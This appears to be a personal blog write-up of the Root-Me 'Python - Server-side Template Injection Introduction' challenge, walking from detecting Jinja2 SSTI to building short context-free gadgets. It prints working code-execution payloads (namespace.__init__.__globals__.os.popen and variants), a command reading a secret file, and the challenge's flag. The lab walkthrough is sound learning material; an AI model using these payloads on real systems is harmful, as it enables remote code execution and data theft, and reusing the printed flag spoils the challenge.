Satish's Scribbles

From Detection to Flag: Python Jinja2 SSTI on Root-Me

I recently tackled a fun Server-side Template Injection (SSTI) challenge on Root-Me and wanted to document my process. This post follows my journey from initial detection to crafting a reliable, context-free payload to gain code execution.

The Challenge: Python SSTI Introduction

The goal was to solve the “Python - Server-side Template Injection Introduction” challenge on Root-me.org.

« SETUP »

I started by loading the challenge environment and intercepting the requests using Caido. The application allows you to preview content submitted through a form.

« DETECT »

The core of the application is a POST request to /preview with title and content parameters.

1POST /preview HTTP/1.1
2Host: challenge01.root-me.org:59074
3Content-Type: application/x-www-form-urlencoded
4Content-Length: 27
5
6title=hi&content=hi&button=yes

To test for SSTI, I sent a simple mathematical expression, {{7*7}}, in both the title and content fields. The server’s response was revealing:

1{
2    "content": "49",
3    "title": "{{7*7}}"
4}

The content field was processed, while the title field was not. This confirmed an SSTI vulnerability in the content parameter. To be certain about the template engine, I tried two different payloads:

  1. {{3 * 3}} resulted in 9.
  2. {{'3' * 3}} resulted in 333.

This behavior is characteristic of Jinja2, confirming my suspicion.

« EXPLORE »

With the vulnerability confirmed, the next step was to find a way to execute shell commands. My goal was to access the os module in Python.

The Problem with Context-Dependent Payloads

In previous challenges, like one from picoCTF, I had used “egg hunter” payloads that depend on the application’s context. For example:

1{{ ''.__class__.__base__.__subclasses__()[356]('ls -la', shell=True, stdout=-1).communicate()[0].decode() }}

The problem with this method is that the index for popen ([356]) is not consistent across different environments. It’s a brittle approach. I wanted to find a more reliable, context-independent payload.

The Quest for a Context-Free Payload

I drew inspiration from the GreHack 2021 talk by @podalirius_, “Optimizing Server Side Template Injections payloads for jinja2”, which discusses creating context-free payloads.

The ideal payload should be:

  1. Context-free: It shouldn’t rely on any data passed into the .render() method.
  2. Short: Shorter is always better.

The key is the self object, which is a reference to the template itself and is accessible even with an empty .render() call.

1>>> jinja2.Template("""I am {{ self }}""").render()
2'I am <TemplateReference None>'

From this self object, we should be able to find a path to the os module.

Finding the Path with BFS

Python’s objects and attributes can be thought of as a graph. To find the shortest path from our starting object (jinja2) to our target (os), we can use a Breadth-First Search (BFS). This helps avoid long exploration traps and cycles.

During this exploration, I got a bit confused about the distinction between objects, attributes, and modules in Python. They all felt very similar. I got a great explanation:

You’re right to feel they’re similar—in Python, almost everything, including modules and functions, is fundamentally an object. The difference lies in their role and relationship to each other.

Object (obj): The most basic building block. An instance of a class (e.g., an integer, a list, a function, a module).

Attribute (attr): A name that belongs to an object, accessed with the dot notation (parent_object.attribute). It can be a variable or a method.

Module: A specific type of object whose main job is to organize Python code, acting as a namespace for its attributes.

With that clarified, I wrote a small BFS script (audit.py) to search for paths from the jinja2 object to the os module. It found several promising paths:

1$ ./audit.py jinja2
2Searching for 'os' from 'jinja2' (max depth: 5)...
3jinja2.bccache.fnmatch.os
4jinja2.bccache.os
5jinja2.bccache.tempfile._os
6jinja2.environment.os
7jinja2.loaders.os
8jinja2.utils.os

This confirmed that a path exists. Now, how to get there from self?

From self to os

First, I inspected the self object using dir():

1>>> jinja2.Template("""{{ f(self) }}""").render(f=dir)
2"['__class__', '__delattr__', ..., '_TemplateReference__context']"

Most attributes were internal dunder methods, but _TemplateReference__context looked interesting.

1>>> jinja2.Template("""{{ self._TemplateReference__context }}""").render()
2"<Context {'range': ..., 'cycler': <class 'jinja2.utils.Cycler'>, 'joiner': <class 'jinja2.utils.Joiner'>, 'namespace': <class 'jinja2.utils.Namespace'>} of None>"

This context object gives us access to several Jinja2 utility classes like cycler, joiner, and namespace. My BFS search showed that jinja2.utils.os was a valid path. Since namespace is in jinja2.utils, I could traverse from there to the os module using Python’s object introspection capabilities (__init__.__globals__).

This gives us a reliable path to os:

1{{ self._TemplateReference__context.namespace.__init__.__globals__.os }}

Even better, since namespace, cycler, and joiner are available in the global context of the template, we can access them directly without referencing self. This leads to a much cleaner and shorter payload.

The Final Gadgets

This discovery yielded three reliable, context-free gadgets for Jinja2 SSTI:

1{{ namespace.__init__.__globals__.os.popen("id").read() }}
2{{ cycler.__init__.__globals__.os.popen("id").read() }}
3{{ joiner.__init__.__globals__.os.popen("id").read() }}

« EXPLOIT »

Now it was time to use these gadgets on the challenge server. I sent the payload in the content parameter:

content={{ namespace.__init__.__globals__.os.popen("ls -la").read() }}

The server responded with a directory listing, and I spotted a .passwd file.

A Failed Experiment: popen vs. Popen

To get a nicely formatted output, I first tried to use the communicate() method, which I had used in the past:

1{{ namespace.__init__.__globals__.os.popen('id', shell=True, stdout=-1).communicate()[0].decode() }}

This resulted in an error: TypeError: popen() got an unexpected keyword argument 'shell'.

This was a key learning moment. I realized I was confusing os.popen() with the more powerful subprocess.Popen. The os.popen function is simpler and doesn’t accept those arguments. The payload I used in the picoCTF challenge was accessing subprocess.Popen, not os.popen.

Getting the Flag

To solve the formatting issue and read the file, I switched to readlines(), which returns the output as a list of strings, preserving newlines.

Final Payload:

content={{ namespace.__init__.__globals__.os.popen('cat .passwd').readlines() }}

Response:

1{
2    "content": "['Python_SST1_1s_co0l_4nd_mY_p4yl04ds_4r3_1ns4n3!!!\n']",
3    "title": "hi"
4}

Success! I found the flag.

Final Thoughts

This challenge was a great exercise in moving beyond simple, context-dependent SSTI payloads. The journey was just as important as the result. By hitting a wall with os.popen, taking the time to understand the object graph with BFS, and clarifying fundamental Python concepts, I was able to build a short, reliable, and context-free gadget for code execution. It highlights the importance of deep-diving into the framework you’re targeting and not being afraid to go back to the basics.

Related

#ssti #ctf #python #jinja2 #root-me #walkthrough

Reply to this post by email ↪